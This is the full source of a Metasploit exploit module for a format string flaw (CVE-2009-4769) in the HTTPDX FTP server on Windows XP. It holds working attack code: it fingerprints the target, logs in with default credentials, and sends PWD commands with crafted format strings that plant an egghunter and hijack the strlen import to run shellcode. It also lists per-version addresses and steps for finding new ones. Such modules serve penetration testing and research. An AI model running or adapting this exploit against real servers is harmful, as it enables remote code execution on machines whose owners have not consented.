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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 | ## # $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp include Msf::Exploit::Egghunter include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'HTTPDX tolog() Function Format String Vulnerability', 'Description'=> %q{ This module exploits a format string vulnerability in HTTPDX FTP server. By sending an specially crafted FTP command containing format specifiers, an attacker can corrupt memory and execute arbitrary code. By default logging is off for HTTP, but enabled for the 'moderator' user via FTP. }, 'Author' => [ 'jduck' # original discovery and metasploit module ], 'Version' => '$Revision: 10150 $', 'References' => [ [ 'CVE', '2009-4769' ], [ 'OSVDB', '60181' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => true, 'Payload'=> { # format string max length 'Space'=> 1024, 'BadChars' => "\x00\x0a\x0d\x25", 'DisableNops' =>'True', 'StackAdjustment' => -1500 }, 'Platform' => 'win', 'Targets'=> [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true }], # # specific targets # [ 'httpdx 1.4 - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.5 - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.6 - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.6b - Windows XP SP3 English', { 'NumPops' => 37, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.5 - Windows XP SP3 English', { 'NumPops' => 29, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ] ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Nov 17 2009')) =begin NOTE: Even though all targets have the same addresses now, future targets may not. To find a target: 1. open "core.dll" in IDA Pro 2. navigate to the "c_wildcmp" function 3. follow the xref to the first strlen 4. follow the xref to the imports area 5. copy/paste the address 6. the 'Writable' value should be anything after the last address IDA shows.. (preferably something above 0x0d, to avoid bad chars) If crashes occur referencing strange values, 'NumPops' probably needs adjusting. For now, that will have to be done manually. =end register_options( [ Opt::RPORT(21), # note the default user/pass OptString.new('FTPUSER', [ false, 'The username to authenticate as', 'moderator']), OptString.new('FTPPASS', [ false, 'The password to authenticate with', 'pass123']) ], self.class ) end def check connect disconnect print_status("FTP Banner: #{banner}".strip) if banner =~ /httpdx.*\(Win32\)/ return Exploit::CheckCode::Appears end return Exploit::CheckCode::Safe end def exploit # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") connect disconnect if (banner and (m = banner.match(/220 httpdx\/(.*) \(Win32\)/))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else print_status("No matching target") return end self.targets.each do |t| if (t.name =~ /#{version} - /) then mytarget = t break end end if (not mytarget) print_status("No matching target") return end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") end # proceed with chosen target... connect_login # '<ip>\n PWD ' ip_length = Rex::Socket.source_address(datastore['RHOST']).length num_start = ip_length + 1 + 3 + 1 # use the egghunter! eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) # write shellcode to 'writable' (all at once) fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget) print_status(" payload format string buffer is #{fmtbuf.length} bytes") if (res = send_cmd(['PWD', fmtbuf ], true)) print_status(res.strip) end # write 'writable' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget) # add payload to the end fmtbuf << eh_egg print_status(" hijacker format string buffer is #{fmtbuf.length} bytes") if (res = send_cmd(['PWD', fmtbuf ], true)) print_status(res.strip) end disconnect handler # connect again to trigger shellcode print_status(" triggering shellcode now") print_status("Please be patient, the egg hunter may take a while...") connect end end =begin also present in 1.5 (presumably all versions in between) 1.4/httpdx_src/ftp.cpp: 544//printf(out); 545char af[MAX] = {0}; 546if(isset(out) && client->serve.log || client->serve.debug) 547snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out); 548if(isset(out) && client->serve.log) 549tolog(client->serve.accessl,af); 550if(isset(out) && client->serve.debug) 551printf(af); 1.4/httpdx_src/http.cpp: 172char af[MAX] = {0}; 173if(client.serve.log || client.serve.debug) 174snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code); 175if(client.serve.log) 176tolog(client.serve.accessl,af); 177if(client.serve.debug) 178printf(af); =end |
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